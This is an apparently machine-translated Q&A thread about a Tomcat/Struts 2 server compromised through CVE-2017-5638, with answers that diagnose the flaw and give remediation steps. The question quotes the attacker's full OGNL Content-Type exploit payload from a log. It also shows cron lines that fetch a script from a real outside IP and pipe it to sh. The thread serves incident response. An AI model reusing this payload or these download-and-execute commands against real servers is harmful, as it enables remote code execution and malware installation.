Shell script tấn công máy chủ Apache, thông qua một cron không rõ nguồn gốc


8

Trong khi chạy một cuộc chiến dự án trên máy chủ tomcat Apache, tôi thấy rằng máy chủ đã bị xâm nhập.

Trong khi chạy chiến tranh trên một ẩn số cronđang chạy như thế này

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Phần tải xuống logo.jpgcó tập lệnh shell đang tải phần mềm độc hại.

Tôi tìm thấy một vấn đề tương tự trên trang web này dưới đây

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

/security/160068/kworker34-malware-on-linux

Tôi không thể tìm thấy nguồn gốc của bộ lập lịch cron này trong toàn bộ mã của tôi.

Những gì tôi muốn biết rằng có ai phải đối mặt với vấn đề này? và làm thế nào tôi nên tìm về nguồn gốc của bộ lập lịch trong mã.

Ghi chú:

Tôi đang làm việc trên một dự án web JAVA (Struts 2) + jsp + javascript + jquery.

Trình lập lịch biểu này đang chạy mỗi khi tôi bắt đầu tomcat của mình với tệp chiến tranh của dự án, nhưng tôi không thể tìm thấy bất kỳ trình lập lịch biểu nào cho trình lập lịch biểu trong mã của mình.

Tôi đã tìm thấy dòng sau trong tệp nhật ký của mình

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

Bạn đã thay đổi thông tin đăng nhập Tomcat mặc định và vô hiệu hóa trình quản lý máy chủ?

Bạn có nghĩa là nguồn gốc của hai mục crontab này (là công việc cron) hoặc trình lập lịch cron (đôi khi là cron daemon)? Bạn có sinh ra các quy trình hoặc tập lệnh shell từ ứng dụng Java của bạn (như Runtime.getRuntime().exec("something")) không? Bạn có một liên kết đến dự án của bạn?
Jan Zerebecki

Khi bạn khởi động tomcat mà không có ứng dụng Java bị nhiễm thì cron có được bật không?

Làm thế nào bạn bắt đầu tomcat? Bạn đang triển khai ứng dụng như thế nào? (thông qua GUI, tạo kịch bản hoặc chỉ sao chép tệp .war trong ứng dụng web?

Tôi đã thêm nhật ký của ứng dụng của tôi xin vui lòng xem xét. Hãy cho tôi biết bất cứ điều gì bạn có thể nghĩ về vấn đề này.

Câu trả lời:


4

Sau khi OP đã thêm nhật ký, điều đó trở nên rõ ràng, vấn đề đó nằm ở việc khai thác Mã từ xa cho Struts 2 ( CVE-2017-5638 ).

Một số liên kết bổ sung:

  1. Khai thác thực thi mã từ xa Struts2 mới bị bắt trong tự nhiên .
  2. CVE-2017-5638 - Struts2 S2-045 .

Giải pháp là nâng cấp Struts của bạn lên phiên bản 2.3.32 hoặc 2.5.10.1.


Cảm ơn câu trả lời của bạn, nhưng tôi đã kiểm tra mã của mình cho từ khóa, chẳng hạn như 'logo.jpg' và '91 .230.47.40 'chúng không có ở đó. Tôi đã thêm nhật ký của ứng dụng của tôi xin vui lòng xem xét. Hãy cho tôi biết bất cứ điều gì bạn có thể nghĩ về vấn đề này.

2

Tôi đã từng đối mặt với những vấn đề tương tự trước đây khi tôi còn là sysadmin. Tôi nghĩ bạn phải phân biệt nếu đó là máy chủ tomcat hoặc ứng dụng Java của bạn.

Khi bạn khởi động tomcat mà không có "ứng dụng Java bị nhiễm" thì cron có được kích hoạt không? (Ý tôi là, xóa ứng dụng của bạn khỏi Tomcat và khởi động nó) Nếu vậy thì bạn gặp vấn đề lớn hơn, bạn sẽ cần xác minh các tập lệnh khởi động và mọi ứng dụng được triển khai trong máy chủ tomcat.

Nếu không, chúng tôi chắc chắn ứng dụng của bạn là vấn đề.

Nếu đó là trường hợp, hãy đi đến:

$CATALINA_BASE/webapps/your_app 

Xác minh tính toàn vẹn của ứng dụng của bạn, có các tệp bổ sung mà bạn không nhận ra không?

Bây giờ hãy vào thư mục webapps của bản cài đặt tomcat của bạn:

$CATALINA_BASE/webapps/

Trong thư mục đó thực hiện:

grep -R '91.230.47.40' *

Để tìm tệp / dòng mã có thể gây nhiễm trùng, đó có thể là tệp của ứng dụng của bạn hoặc tệp mới.

Bạn có mã của bạn trong một hệ thống CSV không?

Xây dựng tệp chiến tranh bên ngoài máy chủ bị nhiễm từ repo CSV của bạn và thực hiện:

md5sum your_app.war

Xóa ứng dụng của bạn khỏi máy chủ tomcat và triển khai lại, xác minh rằng bạn đang tải lên cuộc chiến chính xác thông qua md5, sau đó kiểm tra xem crontab có được gọi hay không.

Nếu bạn cung cấp phản hồi về các bước này, tôi sẽ vui lòng giúp đỡ.


1
Tôi đã kiểm tra mã của mình cho từ khóa, chẳng hạn như 'logo.jpg' và '91 .230.47.40 'chúng không có ở đó, Tuy nhiên, vấn đề là với ứng dụng không phải là tomcat. Tôi đã thêm nhật ký của ứng dụng của tôi xin vui lòng xem xét. Hãy cho tôi biết bất cứ điều gì bạn có thể nghĩ về vấn đề này.

2

Chúng tôi chỉ phải chống lại kiểu tấn công này trên một máy chủ, nó tiếp tục khởi động lại ghi đè crontab cho người dùng tomcat của chúng tôi như mô tả ở trên. Địa chỉ IP giống hệt nhau. Grep của toàn bộ thư mục webapps cho địa chỉ IP không tiết lộ thủ phạm.

Trong trường hợp của chúng tôi, chúng tôi không sử dụng thanh chống, nhưng chúng tôi đã có ứng dụng "trình quản lý máy chủ" và "trình quản lý" trong ứng dụng web và chúng tôi đã mở JMX / cổng mở. Khởi động lại mà không có những điều đó dường như đã được giải quyết, vì vậy linh cảm của tôi là lỗ hổng có thể nằm ở một trong số đó. Cụ thể, có một lỗ hổng JMX được sửa trong 7.0.73 có thể là thủ phạm của chúng tôi ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Một biện pháp phòng ngừa khác mà chúng tôi hiện đang thực hiện là hạn chế quyền truy cập vào wget và chmod chỉ để root (chỉ cần thực hiện chmod 770 trên các tệp nhị phân đó).

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.